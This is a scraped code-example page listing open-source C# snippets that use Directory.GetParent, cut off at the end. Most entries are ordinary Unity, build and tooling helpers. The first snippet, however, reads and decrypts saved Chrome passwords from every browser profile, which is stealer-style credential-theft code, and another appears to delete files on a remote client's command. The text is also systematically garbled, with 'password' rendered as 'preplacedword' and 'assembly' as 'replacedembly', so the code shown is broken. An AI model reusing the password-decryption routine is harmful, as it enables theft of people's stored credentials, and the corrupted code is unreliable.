Here are the examples of the csharp api System.IO.Directory.GetParent(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
838 Examples
19
Source : Chromium.cs
with GNU General Public License v3.0
from 0xfd3
with GNU General Public License v3.0
from 0xfd3
private static List<Account> Accounts(string path, string browser, string table = "logins")
{
//Get all created profiles from browser path
List<string> loginDataFiles = GetAllProfiles(path);
List<Account> data = new List<Account>();
foreach (string loginFile in loginDataFiles.ToArray())
{
if (!File.Exists(loginFile))
continue;
SQLiteHandler SQLDatabase;
try
{
SQLDatabase = new SQLiteHandler(loginFile); //Open database with Sqlite
}
catch (System.Exception ex)
{
Console.WriteLine(ex.ToString());
continue;
}
if (!SQLDatabase.ReadTable(table))
continue;
for (int I = 0; I <= SQLDatabase.GetRowCount() - 1; I++)
{
try
{
//Get values with row number and column name
string host = SQLDatabase.GetValue(I, "origin_url");
string username = SQLDatabase.GetValue(I, "username_value");
string preplacedword = SQLDatabase.GetValue(I, "preplacedword_value");
if (preplacedword != null)
{
//check v80 preplacedword signature. its starting with v10 or v11
if (preplacedword.StartsWith("v10") || preplacedword.StartsWith("v11"))
{
//Local State file located in the parent folder of profile folder.
byte[] masterKey = GetMasterKey(Directory.GetParent(loginFile).Parent.FullName);
if (masterKey == null)
continue;
preplacedword = DecryptWithKey(Encoding.Default.GetBytes(preplacedword), masterKey);
}
else
preplacedword = Decrypt(preplacedword); //Old versions using UnprotectData for decryption without any key
}
else
continue;
if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(preplacedword))
data.Add(new Account() { URL = host, UserName = username, Preplacedword = preplacedword, Application = browser });
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}
return data;
}
19
Source : DynamicProxy.cs
with MIT License
from 2881099
with MIT License
from 2881099
static replacedembly CompileCode(string cscode)
{
var files = Directory.GetFiles(Directory.GetParent(Type.GetType("FreeSql.DynamicProxy, FreeSql.DynamicProxy").replacedembly.Location).FullName);
using (var compiler = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("cs"))
{
var objCompilerParameters = new System.CodeDom.Compiler.CompilerParameters();
objCompilerParameters.Referencedreplacedemblies.Add("System.dll");
objCompilerParameters.Referencedreplacedemblies.Add("System.Core.dll");
objCompilerParameters.Referencedreplacedemblies.Add("FreeSql.DynamicProxy.dll");
foreach (var dll in files)
{
if (!dll.EndsWith(".dll", StringComparison.OrdinalIgnoreCase) &&
!dll.EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) continue;
Console.WriteLine(dll);
var dllName = string.Empty;
var idx = dll.LastIndexOf('/');
if (idx != -1) dllName = dll.Substring(idx + 1);
else
{
idx = dll.LastIndexOf('\\');
if (idx != -1) dllName = dll.Substring(idx + 1);
}
if (string.IsNullOrEmpty(dllName)) continue;
try
{
var replaced = replacedembly.LoadFile(dll);
objCompilerParameters.Referencedreplacedemblies.Add(dllName);
}
catch
{
}
}
objCompilerParameters.GenerateExecutable = false;
objCompilerParameters.GenerateInMemory = true;
var cr = compiler.CompilereplacedemblyFromSource(objCompilerParameters, cscode);
if (cr.Errors.Count > 0)
throw new DynamicProxyException($"FreeSql.DynamicProxy 失败提示:{cr.Errors[0].ErrorText} {cscode}", null);
return cr.Compiledreplacedembly;
}
}
19
Source : MixedRealityProjectConfigurator.cs
with Apache License 2.0
from abist-co-ltd
with Apache License 2.0
from abist-co-ltd
public static void SetLatestScriptingRuntime()
{
#if !UNITY_2019_3_OR_NEWER
PlayerSettings.scriptingRuntimeVersion = ScriptingRuntimeVersion.Latest;
EditorApplication.OpenProject(Directory.GetParent(Application.dataPath).ToString());
#endif // UNITY_2019_3_OR_NEWER
}
19
Source : ConstructGltf.cs
with Apache License 2.0
from abist-co-ltd
with Apache License 2.0
from abist-co-ltd
private static void ConstructBufferView(this GltfObject gltfObject, GltfBufferView bufferView)
{
bufferView.Buffer = gltfObject.buffers[bufferView.buffer];
if (bufferView.Buffer.BufferData == null &&
!string.IsNullOrEmpty(gltfObject.Uri) &&
!string.IsNullOrEmpty(bufferView.Buffer.uri))
{
var parentDirectory = Directory.GetParent(gltfObject.Uri).FullName;
bufferView.Buffer.BufferData = File.ReadAllBytes(Path.Combine(parentDirectory, bufferView.Buffer.uri));
}
}
19
Source : ConstructGltf.cs
with Apache License 2.0
from abist-co-ltd
with Apache License 2.0
from abist-co-ltd
private static async Task ConstructTextureAsync(this GltfObject gltfObject, GltfTexture gltfTexture)
{
if (gltfObject.UseBackgroundThread) await BackgroundThread;
if (gltfTexture.source >= 0)
{
GltfImage gltfImage = gltfObject.images[gltfTexture.source];
byte[] imageData = null;
Texture2D texture = null;
if (!string.IsNullOrEmpty(gltfObject.Uri) && !string.IsNullOrEmpty(gltfImage.uri))
{
var parentDirectory = Directory.GetParent(gltfObject.Uri).FullName;
var path = Path.Combine(parentDirectory, gltfImage.uri);
#if UNITY_EDITOR
if (gltfObject.UseBackgroundThread) await Update;
var projectPath = Path.GetFullPath(path).Replace(Path.GetFullPath(Application.dataPath), "replacedets");
texture = UnityEditor.replacedetDatabase.LoadreplacedetAtPath<Texture2D>(projectPath);
if (gltfObject.UseBackgroundThread) await BackgroundThread;
#endif
if (texture == null)
{
#if WINDOWS_UWP
if (gltfObject.UseBackgroundThread)
{
try
{
var storageFile = await StorageFile.GetFileFromPathAsync(path);
if (storageFile != null)
{
var buffer = await FileIO.ReadBufferAsync(storageFile);
using (DataReader dataReader = DataReader.FromBuffer(buffer))
{
imageData = new byte[buffer.Length];
dataReader.ReadBytes(imageData);
}
}
}
catch (Exception e)
{
Debug.LogError(e.Message);
}
}
else
{
imageData = UnityEngine.Windows.File.ReadAllBytes(path);
}
#else
using (FileStream stream = File.Open(path, FileMode.Open))
{
imageData = new byte[stream.Length];
if (gltfObject.UseBackgroundThread)
{
await stream.ReadAsync(imageData, 0, (int)stream.Length);
}
else
{
stream.Read(imageData, 0, (int)stream.Length);
}
}
#endif
}
}
else
{
var imageBufferView = gltfObject.bufferViews[gltfImage.bufferView];
imageData = new byte[imageBufferView.byteLength];
Array.Copy(imageBufferView.Buffer.BufferData, imageBufferView.byteOffset, imageData, 0, imageData.Length);
}
if (texture == null)
{
if (gltfObject.UseBackgroundThread) await Update;
// TODO Load texture async
texture = new Texture2D(2, 2);
gltfImage.Texture = texture;
gltfImage.Texture.LoadImage(imageData);
}
else
{
gltfImage.Texture = texture;
}
gltfTexture.Texture = texture;
if (gltfObject.UseBackgroundThread) await BackgroundThread;
}
}
19
Source : OculusPlatformSettingsEditor.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetCurrentProjectPath()
{
return Directory.GetParent(UnityEngine.Application.dataPath).FullName;
}
19
Source : OculusPlatformSettingsEditor.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetPlatformRootPath()
{
// use the path to OculusPluginUpdaterStub as a relative path anchor point
var so = ScriptableObject.CreateInstance(typeof(OculusPluginUpdaterStub));
var script = MonoScript.FromScriptableObject(so);
string replacedetPath = replacedetDatabase.GetreplacedetPath(script);
string editorDir = Directory.GetParent(replacedetPath).FullName;
string platformDir = Directory.GetParent(editorDir).FullName;
return platformDir;
}
19
Source : ONSPAudioPluginUpdater.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetUtilitiesRootPath()
{
var so = ScriptableObject.CreateInstance(typeof(ONSPAudioPluginUpdaterStub));
var script = MonoScript.FromScriptableObject(so);
string replacedetPath = replacedetDatabase.GetreplacedetPath(script);
string editorDir = Directory.GetParent(replacedetPath).FullName;
string ovrDir = Directory.GetParent(editorDir).FullName;
return ovrDir;
}
19
Source : OVRPluginUpdater.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetCurrentProjectPath()
{
return Directory.GetParent(Application.dataPath).FullName;
}
19
Source : OVRPluginUpdater.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetUtilitiesRootPath()
{
var so = ScriptableObject.CreateInstance(typeof(OVRPluginUpdaterStub));
var script = MonoScript.FromScriptableObject(so);
string replacedetPath = replacedetDatabase.GetreplacedetPath(script);
string editorDir = Directory.GetParent(replacedetPath).FullName;
string ovrDir = Directory.GetParent(editorDir).FullName;
return ovrDir;
}
19
Source : ONSPAudioPluginUpdater.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetCurrentProjectPath()
{
return Directory.GetParent(Application.dataPath).FullName;
}
19
Source : OVRGradleGeneration.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetOculusProjectNetworkSecConfigPath()
{
var so = ScriptableObject.CreateInstance(typeof(OVRPluginUpdaterStub));
var script = MonoScript.FromScriptableObject(so);
string replacedetPath = replacedetDatabase.GetreplacedetPath(script);
string editorDir = Directory.GetParent(replacedetPath).FullName;
string configreplacedetPath = Path.GetFullPath(Path.Combine(editorDir, "network_sec_config.xml"));
Uri configUri = new Uri(configreplacedetPath);
Uri projectUri = new Uri(Application.dataPath);
Uri relativeUri = projectUri.MakeRelativeUri(configUri);
return relativeUri.ToString();
}
19
Source : OVRManifestPreprocessor.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
[MenuItem("Oculus/Tools/Create store-compatible AndroidManifest.xml", false, 100000)]
public static void GenerateManifestForSubmission()
{
var so = ScriptableObject.CreateInstance(typeof(OVRPluginUpdaterStub));
var script = MonoScript.FromScriptableObject(so);
string replacedetPath = replacedetDatabase.GetreplacedetPath(script);
string editorDir = Directory.GetParent(replacedetPath).FullName;
string srcFile = editorDir + "/AndroidManifest.OVRSubmission.xml";
if (!File.Exists(srcFile))
{
Debug.LogError("Cannot find Android manifest template for submission." +
" Please delete the OVR folder and reimport the Oculus Utilities.");
return;
}
string manifestFolder = Application.dataPath + "/Plugins/Android";
if (!Directory.Exists(manifestFolder))
Directory.CreateDirectory(manifestFolder);
string dstFile = manifestFolder + "/AndroidManifest.xml";
if (File.Exists(dstFile))
{
if (!EditorUtility.DisplayDialog("AndroidManifest.xml Already Exists!", "Would you like to replace the existing manifest with a new one? All modifications will be lost.", "Replace", "Cancel"))
{
return;
}
}
PatchAndroidManifest(srcFile, dstFile, false);
replacedetDatabase.Refresh();
}
19
Source : OVRProjectConfig.cs
with MIT License
from absurd-joy
with MIT License
from absurd-joy
private static string GetOculusProjectConfigreplacedetPath()
{
var so = ScriptableObject.CreateInstance(typeof(OVRPluginUpdaterStub));
var script = MonoScript.FromScriptableObject(so);
string replacedetPath = replacedetDatabase.GetreplacedetPath(script);
string editorDir = Directory.GetParent(replacedetPath).FullName;
string ovrDir = Directory.GetParent(editorDir).FullName;
string oculusDir = Directory.GetParent(ovrDir).FullName;
string configreplacedetPath = Path.GetFullPath(Path.Combine(oculusDir, "OculusProjectConfig.replacedet"));
Uri configUri = new Uri(configreplacedetPath);
Uri projectUri = new Uri(Application.dataPath);
Uri relativeUri = projectUri.MakeRelativeUri(configUri);
return relativeUri.ToString();
}
19
Source : ContainerActionHandler.cs
with MIT License
from actions
with MIT License
from actions
public async Task RunAsync(ActionRunStage stage)
#pragma warning restore CS1998 // Async method lacks 'await' operators and will run synchronously
{
// Validate args.
Trace.Entering();
ArgUtil.NotNull(Data, nameof(Data));
ArgUtil.NotNull(ExecutionContext, nameof(ExecutionContext));
#if OS_WINDOWS || OS_OSX
throw new NotSupportedException($"Container action is only supported on Linux");
#else
// Update the env dictionary.
AddInputsToEnvironment();
var dockerManager = HostContext.GetService<IDockerCommandManager>();
// container image haven't built/pull
if (Data.Image.StartsWith("docker://", StringComparison.OrdinalIgnoreCase))
{
Data.Image = Data.Image.Substring("docker://".Length);
}
else if (Data.Image.EndsWith("Dockerfile") || Data.Image.EndsWith("dockerfile"))
{
// ensure docker file exist
var dockerFile = Path.Combine(ActionDirectory, Data.Image);
ArgUtil.File(dockerFile, nameof(Data.Image));
ExecutionContext.Output($"##[group]Building docker image");
ExecutionContext.Output($"Dockerfile for action: '{dockerFile}'.");
var imageName = $"{dockerManager.DockerInstanceLabel}:{ExecutionContext.Id.ToString("N")}";
var buildExitCode = await dockerManager.DockerBuild(
ExecutionContext,
ExecutionContext.GetGitHubContext("workspace"),
dockerFile,
Directory.GetParent(dockerFile).FullName,
imageName);
ExecutionContext.Output("##[endgroup]");
if (buildExitCode != 0)
{
throw new InvalidOperationException($"Docker build failed with exit code {buildExitCode}");
}
Data.Image = imageName;
}
string type = Action.Type == Pipelines.ActionSourceType.Repository ? "Dockerfile" : "DockerHub";
// Add Telemetry to JobContext to send with JobCompleteMessage
if (stage == ActionRunStage.Main)
{
var telemetry = new ActionsStepTelemetry {
Ref = GetActionRef(),
HasPreStep = Data.HasPre,
HasPostStep = Data.HasPost,
IsEmbedded = ExecutionContext.IsEmbedded,
Type = type
};
ExecutionContext.Root.ActionsStepsTelemetry.Add(telemetry);
}
// run container
var container = new ContainerInfo(HostContext)
{
ContainerImage = Data.Image,
ContainerName = ExecutionContext.Id.ToString("N"),
ContainerDisplayName = $"{Pipelines.Validation.NameValidation.Sanitize(Data.Image)}_{Guid.NewGuid().ToString("N").Substring(0, 6)}",
};
if (stage == ActionRunStage.Main)
{
if (!string.IsNullOrEmpty(Data.EntryPoint))
{
// use entrypoint from action.yml
container.ContainerEntryPoint = Data.EntryPoint;
}
else
{
// use entrypoint input, this is for action v1 which doesn't have action.yml
container.ContainerEntryPoint = Inputs.GetValueOrDefault("entryPoint");
}
}
else if (stage == ActionRunStage.Pre)
{
container.ContainerEntryPoint = Data.Pre;
}
else if (stage == ActionRunStage.Post)
{
container.ContainerEntryPoint = Data.Post;
}
// create inputs context for template evaluation
var inputsContext = new DictionaryContextData();
if (this.Inputs != null)
{
foreach (var input in Inputs)
{
inputsContext.Add(input.Key, new StringContextData(input.Value));
}
}
var extraExpressionValues = new Dictionary<string, PipelineContextData>(StringComparer.OrdinalIgnoreCase);
extraExpressionValues["inputs"] = inputsContext;
var manifestManager = HostContext.GetService<IActionManifestManager>();
if (Data.Arguments != null)
{
container.ContainerEntryPointArgs = "";
var evaluatedArgs = manifestManager.EvaluateContainerArguments(ExecutionContext, Data.Arguments, extraExpressionValues);
foreach (var arg in evaluatedArgs)
{
if (!string.IsNullOrEmpty(arg))
{
container.ContainerEntryPointArgs = container.ContainerEntryPointArgs + $" \"{arg.Replace("\"", "\\\"")}\"";
}
else
{
container.ContainerEntryPointArgs = container.ContainerEntryPointArgs + " \"\"";
}
}
}
else
{
container.ContainerEntryPointArgs = Inputs.GetValueOrDefault("args");
}
if (Data.Environment != null)
{
var evaluatedEnv = manifestManager.EvaluateContainerEnvironment(ExecutionContext, Data.Environment, extraExpressionValues);
foreach (var env in evaluatedEnv)
{
if (!this.Environment.ContainsKey(env.Key))
{
this.Environment[env.Key] = env.Value;
}
}
}
if (ExecutionContext.JobContext.Container.TryGetValue("network", out var networkContextData) && networkContextData is StringContextData networkStringData)
{
container.ContainerNetwork = networkStringData.ToString();
}
var defaultWorkingDirectory = ExecutionContext.GetGitHubContext("workspace");
var tempDirectory = HostContext.GetDirectory(WellKnownDirectory.Temp);
ArgUtil.NotNullOrEmpty(defaultWorkingDirectory, nameof(defaultWorkingDirectory));
ArgUtil.NotNullOrEmpty(tempDirectory, nameof(tempDirectory));
var tempHomeDirectory = Path.Combine(tempDirectory, "_github_home");
Directory.CreateDirectory(tempHomeDirectory);
this.Environment["HOME"] = tempHomeDirectory;
var tempFileCommandDirectory = Path.Combine(tempDirectory, "_runner_file_commands");
ArgUtil.Directory(tempFileCommandDirectory, nameof(tempFileCommandDirectory));
var tempWorkflowDirectory = Path.Combine(tempDirectory, "_github_workflow");
ArgUtil.Directory(tempWorkflowDirectory, nameof(tempWorkflowDirectory));
container.MountVolumes.Add(new MountVolume("/var/run/docker.sock", "/var/run/docker.sock"));
container.MountVolumes.Add(new MountVolume(tempHomeDirectory, "/github/home"));
container.MountVolumes.Add(new MountVolume(tempWorkflowDirectory, "/github/workflow"));
container.MountVolumes.Add(new MountVolume(tempFileCommandDirectory, "/github/file_commands"));
container.MountVolumes.Add(new MountVolume(defaultWorkingDirectory, "/github/workspace"));
container.AddPathTranslateMapping(tempHomeDirectory, "/github/home");
container.AddPathTranslateMapping(tempWorkflowDirectory, "/github/workflow");
container.AddPathTranslateMapping(tempFileCommandDirectory, "/github/file_commands");
container.AddPathTranslateMapping(defaultWorkingDirectory, "/github/workspace");
container.ContainerWorkDirectory = "/github/workspace";
// expose context to environment
foreach (var context in ExecutionContext.ExpressionValues)
{
if (context.Value is IEnvironmentContextData runtimeContext && runtimeContext != null)
{
foreach (var env in runtimeContext.GetRuntimeEnvironmentVariables())
{
Environment[env.Key] = env.Value;
}
}
}
// Add Actions Runtime server info
var systemConnection = ExecutionContext.Global.Endpoints.Single(x => string.Equals(x.Name, WellKnownServiceEndpointNames.SystemVssConnection, StringComparison.OrdinalIgnoreCase));
Environment["ACTIONS_RUNTIME_URL"] = systemConnection.Url.AbsoluteUri;
Environment["ACTIONS_RUNTIME_TOKEN"] = systemConnection.Authorization.Parameters[EndpointAuthorizationParameters.AccessToken];
if (systemConnection.Data.TryGetValue("CacheServerUrl", out var cacheUrl) && !string.IsNullOrEmpty(cacheUrl))
{
Environment["ACTIONS_CACHE_URL"] = cacheUrl;
}
if (systemConnection.Data.TryGetValue("GenerateIdTokenUrl", out var generateIdTokenUrl) && !string.IsNullOrEmpty(generateIdTokenUrl))
{
Environment["ACTIONS_ID_TOKEN_REQUEST_URL"] = generateIdTokenUrl;
Environment["ACTIONS_ID_TOKEN_REQUEST_TOKEN"] = systemConnection.Authorization.Parameters[EndpointAuthorizationParameters.AccessToken];
}
foreach (var variable in this.Environment)
{
container.ContainerEnvironmentVariables[variable.Key] = container.TranslateToContainerPath(variable.Value);
}
using (var stdoutManager = new OutputManager(ExecutionContext, ActionCommandManager, container))
using (var stderrManager = new OutputManager(ExecutionContext, ActionCommandManager, container))
{
var runExitCode = await dockerManager.DockerRun(ExecutionContext, container, stdoutManager.OnDataReceived, stderrManager.OnDataReceived);
ExecutionContext.Debug($"Docker Action run completed with exit code {runExitCode}");
if (runExitCode != 0)
{
ExecutionContext.Result = TaskResult.Failed;
}
}
#endif
}
19
Source : Program.cs
with GNU General Public License v3.0
from AdriaandeJongh
with GNU General Public License v3.0
from AdriaandeJongh
static void Main(string[] args)
{
string mode = string.Empty;
for (int i = 0; i < args.Length; i=i+2)
{
switch (args[i])
{
case "--mode":
mode = args[i + 1];
break;
case "--itmsp_file_path":
itmspFilePath = args[i + 1];
break;
case "--default_replacedet_locale":
defaultreplacedetsLocale = args[i + 1];
break;
case "--targeted_version":
targetedVersion = args[i + 1];
break;
}
}
//make sure all parameters are set
if(mode == string.Empty || itmspFilePath == string.Empty || defaultreplacedetsLocale == string.Empty || targetedVersion == string.Empty)
{
Console.WriteLine("ITMSPLUS needs to run with all commands:");
Console.WriteLine("--mode [create_directories | modify_metadata]");
Console.WriteLine("--itmsp_file_path \"<path>\"");
Console.WriteLine("--default_replacedet_locale \"<locale>\"");
Console.WriteLine("--targeted_version \"<version>\"");
return;
}
//put all replacedets in the same directory as the itmsp file
replacedetsPath = Directory.GetParent(itmspFilePath) + "/";
//do all the setup
ReadMetadata();
DetermineLocales();
DetermineDisplayTargets();
RemoveRedundantMetadata();
ClearITMSPPackage();
switch(mode)
{
case "create_directories":
Console.WriteLine("Running ITMSPLUS mode: " + mode);
CreateDirectories();
break;
case "modify_metadata":
Console.WriteLine("Running ITMSPLUS mode: " + mode);
ModifyMetadata();
break;
default:
Console.WriteLine("Mode for ITMSPLUS should be set to create_directories or modify_metadata but was: " + mode);
break;
}
Console.WriteLine("Finished running ITMSPLUS.");
}
19
Source : Program.cs
with GNU General Public License v3.0
from AdriaandeJongh
with GNU General Public License v3.0
from AdriaandeJongh
static void ModifyMetadata()
{
//scan which files there are in the created directories, see which
// replacedets are meant for this metadata file, and modify the metadata
// pointing at those files
string[] allFiles = GetFilesInDirectory(replacedetsPath);
List<replacedetData> allreplacedets = new List<replacedetData>();
//loop through all files and create replacedetDatas for all files we'll need
foreach (var file in allFiles)
{
if (file.Contains(itmspFilePath))
continue; //ignore all files inside the itsmp package
string fileName = Path.GetFileName(file);
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(fileName);
string fileExtension = Path.GetExtension(fileName);
string fileLocale = Directory.GetParent(file).Name;
string fileDisplayTarget = Directory.GetParent(Directory.GetParent(file).FullName).Name;
if (!displayTargets.Contains(fileDisplayTarget))
continue; //ignore all files not meant for this app
if (fileExtension != ".png" && fileExtension != ".mp4")
continue; //ignore files that aren't replacedets
replacedetData ad = new replacedetData();
ad.locale = fileLocale;
ad.fileExtension = fileExtension;
ad.file_name = fileDisplayTarget + "-" + fileLocale + "-" + fileName;
ad.position = fileNameWithoutExtension.Substring(fileNameWithoutExtension.Length - 1, 1);
ad.display_target = fileDisplayTarget;
ad.size = GetFileSize(file);
ad.checksum = GetMD5(file);
if (fileExtension == ".mp4")
{
XmlDoreplacedent doc = new XmlDoreplacedent();
doc.Load(Directory.GetParent(file).FullName + "/AppPreview-settings.xml");
ad.preview_image_time = doc.DoreplacedentElement["preview_image_time" + ad.position].InnerText;
}
allreplacedets.Add(ad);
File.Copy(file, itmspFilePath + "/" + ad.file_name, true);
}
//get the replacedets from the default locale
List<replacedetData> defaultreplacedets = new List<replacedetData>();
foreach (var ad in allreplacedets)
{
if (ad.locale == defaultreplacedetsLocale)
defaultreplacedets.Add(ad);
}
//now go through every locale and make sure every replacedet in the
// default locale is there OR the localised replacedet.
for (int i = 0; i < locales.ChildNodes.Count; i++)
{
XmlElement locale = locales.ChildNodes.Item(i) as XmlElement;
string countryCode = locale.Attributes["name"].Value;
XmlElement appPreviews = locale["app_previews"];
XmlElement screenshots = locale["software_screenshots"];
if (appPreviews == null)
{
appPreviews = metaDataDoreplacedent.CreateElement("app_previews", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
locale.AppendChild(appPreviews);
}
else
{
appPreviews.RemoveAll();
}
if (screenshots == null)
{
screenshots = metaDataDoreplacedent.CreateElement("software_screenshots", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
locale.AppendChild(screenshots);
}
else
{
screenshots.RemoveAll();
}
foreach (replacedetData defaultreplacedet in defaultreplacedets)
{
replacedetData replacedetData = null;
foreach (replacedetData la in allreplacedets)
{
if (la.locale == countryCode &&
la.position == defaultreplacedet.position &&
la.display_target == defaultreplacedet.display_target &&
la.fileExtension == defaultreplacedet.fileExtension)
{
replacedetData = la;
break;
}
}
if (replacedetData == null)
{
replacedetData = defaultreplacedet;
}
if (replacedetData.fileExtension == ".mp4")
{
XmlElement appPreview = metaDataDoreplacedent.CreateElement("app_preview", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
appPreview.SetAttribute("display_target", replacedetData.display_target);
appPreview.SetAttribute("position", replacedetData.position);
XmlElement dataFile = metaDataDoreplacedent.CreateElement("data_file", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
dataFile.SetAttribute("role", "source");
XmlElement size = metaDataDoreplacedent.CreateElement("size", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
size.InnerText = replacedetData.size;
dataFile.AppendChild(size);
XmlElement fileName = metaDataDoreplacedent.CreateElement("file_name", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
fileName.InnerText = replacedetData.file_name;
dataFile.AppendChild(fileName);
XmlElement checksum = metaDataDoreplacedent.CreateElement("checksum", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
checksum.InnerText = replacedetData.checksum;
dataFile.AppendChild(checksum);
appPreview.AppendChild(dataFile);
XmlElement previewImageTime = metaDataDoreplacedent.CreateElement("preview_image_time", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
previewImageTime.SetAttribute("format", "30/1:1/nonDrop");
previewImageTime.InnerText = replacedetData.preview_image_time;
appPreview.AppendChild(previewImageTime);
appPreviews.AppendChild(appPreview);
}
else if(replacedetData.fileExtension == ".png")
{
XmlElement screenshot = metaDataDoreplacedent.CreateElement("software_screenshot", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
screenshot.SetAttribute("display_target", replacedetData.display_target);
screenshot.SetAttribute("position", replacedetData.position);
XmlElement size = metaDataDoreplacedent.CreateElement("size", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
size.InnerText = replacedetData.size;
screenshot.AppendChild(size);
XmlElement fileName = metaDataDoreplacedent.CreateElement("file_name", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
fileName.InnerText = replacedetData.file_name;
screenshot.AppendChild(fileName);
XmlElement checksum = metaDataDoreplacedent.CreateElement("checksum", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
checksum.SetAttribute("type", "md5");
checksum.InnerText = replacedetData.checksum;
screenshot.AppendChild(checksum);
screenshots.AppendChild(screenshot);
}
}
metaDataDoreplacedent.Save(itmspFilePath + "/metadata.xml");
}
}
19
Source : BaseTest.cs
with MIT License
from Adyen
with MIT License
from Adyen
protected static string GetMockFilePath(string fileName)
{
if (string.IsNullOrEmpty(fileName))
{
return "";
}
var projectPath = Directory.GetParent(Environment.CurrentDirectory).Parent.Parent.FullName;
var mockPath = Path.Combine(projectPath, fileName);
return mockPath;
}
19
Source : ModEntry.cs
with GNU General Public License v3.0
from aedenthorn
with GNU General Public License v3.0
from aedenthorn
public override void Entry(IModHelper helper)
{
context = this;
Config = Helper.ReadConfig<ModConfig>();
if (!Config.EnableMod)
return;
helper.Events.GameLoop.GameLaunched += GameLoop_GameLaunched;
helper.Events.GameLoop.DayStarted += GameLoop_DayStarted;
helper.Events.Player.Warped += Player_Warped;
var harmony = HarmonyInstance.Create(ModManifest.UniqueID);
harmony.Patch(
original: AccessTools.Method(typeof(Object), nameof(Object.placementAction)),
postfix: new HarmonyMethod(typeof(ModEntry), nameof(placementAction_Postfix))
);
harmony.Patch(
original: AccessTools.Method(typeof(Object), nameof(Object.performRemoveAction)),
postfix: new HarmonyMethod(typeof(ModEntry), nameof(performRemoveAction_Postfix))
);
harmony.Patch(
original: AccessTools.Method(typeof(Object), nameof(Object.checkForAction)),
prefix: new HarmonyMethod(typeof(ModEntry), nameof(checkForAction_Prefix))
);
harmony.Patch(
original: AccessTools.Method(typeof(Object), nameof(Object.isPreplacedable)),
prefix: new HarmonyMethod(typeof(ModEntry), nameof(Object_isPreplacedable_Prefix))
);
if (Config.LoadCustomTerrarium)
{
try
{
string path = Directory.GetParent(helper.DirectoryPath).GetDirectories().Where(f => f.FullName.EndsWith("[CP] Lively Frog Sanctuary")).FirstOrDefault()?.FullName;
if (path != null)
{
Texture2D tex = new Texture2D(Game1.graphics.GraphicsDevice, 48, 48);
Color[] data = new Color[tex.Width * tex.Height];
tex.GetData(data);
FileStream setStream = File.Open(Path.Combine(path, "replacedets", "frog-vivarium.png"), FileMode.Open);
Texture2D source = Texture2D.FromStream(Game1.graphics.GraphicsDevice, setStream);
setStream.Dispose();
Color[] srcData = new Color[source.Width * source.Height];
source.GetData(srcData);
for (int i = 0; i < srcData.Length; i++)
{
if (data.Length <= i + 48 * 12)
break;
data[i + 48 * 12] = srcData[i];
}
tex.SetData(data);
string outDir = Directory.GetParent(helper.DirectoryPath).GetDirectories().Where(f => f.FullName.EndsWith("[BC] Terrarium")).FirstOrDefault()?.FullName;
Stream stream = File.Create(Path.Combine(outDir, "replacedets", "terrarium.png"));
tex.SaveAsPng(stream, tex.Width, tex.Height);
stream.Dispose();
Monitor.Log("Terrarium overwritten with lively frog sanctuary", LogLevel.Debug);
}
}
catch (Exception ex)
{
Monitor.Log($"Can't load lively frog sanctuary for Terrarium\n{ex}", LogLevel.Error);
}
}
}
19
Source : FileHandlers.cs
with MIT License
from afxw
with MIT License
from afxw
public static void HandleDeleteFile(PaceClient client, IPacket packet)
{
var deleteFilePacket = (DeleteFileRequestPacket)packet;
var directory = Directory.GetParent(deleteFilePacket.Path).FullName;
if (Directory.Exists(deleteFilePacket.Path))
{
Directory.Delete(deleteFilePacket.Path, true);
}
else if (File.Exists(deleteFilePacket.Path))
{
File.Delete(deleteFilePacket.Path);
}
GetDirectoryFileEntries(client, directory);
}
19
Source : MainForm.cs
with GNU General Public License v3.0
from ahmed605
with GNU General Public License v3.0
from ahmed605
private void tsbExportSelected_Click(object sender, EventArgs e)
{
if (_fs == null) return;
if (lvFiles.SelectedItems.Count == 1)
{
File file = lvFiles.SelectedItems[0].Tag as File;
SaveFileDialog sfd = new SaveFileDialog();
sfd.replacedle = "Export...";
if (_lastImportExportPath != null)
{
sfd.InitialDirectory = _lastImportExportPath;
sfd.FileName = Path.Combine(_lastImportExportPath, file.Name);
}
else
{
sfd.FileName = file.Name;
}
sfd.OverwritePrompt = true;
if (sfd.ShowDialog() == DialogResult.OK)
{
_lastImportExportPath = IODirectory.GetParent(sfd.FileName).FullName;
using (new WaitCursor(this))
{
byte[] data = file.GetData();
IOFile.WriteAllBytes(sfd.FileName, data);
}
}
}
else if (lvFiles.SelectedItems.Count > 1)
{
FolderBrowserDialog fbd = new FolderBrowserDialog();
fbd.Description = "Export Selected...";
fbd.ShowNewFolderButton = true;
fbd.SelectedPath = _lastImportExportPath;
if (fbd.ShowDialog() == DialogResult.OK)
{
_lastImportExportPath = fbd.SelectedPath;
string path = fbd.SelectedPath;
using (new WaitCursor(this))
{
foreach (ListViewItem item in lvFiles.SelectedItems)
{
File file = item.Tag as File;
byte[] data = file.GetData();
IOFile.WriteAllBytes(Path.Combine(path, file.Name), data);
}
}
MessageBox.Show("All selected files exported.", "Export Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
19
Source : MainForm.cs
with GNU General Public License v3.0
from ahmed605
with GNU General Public License v3.0
from ahmed605
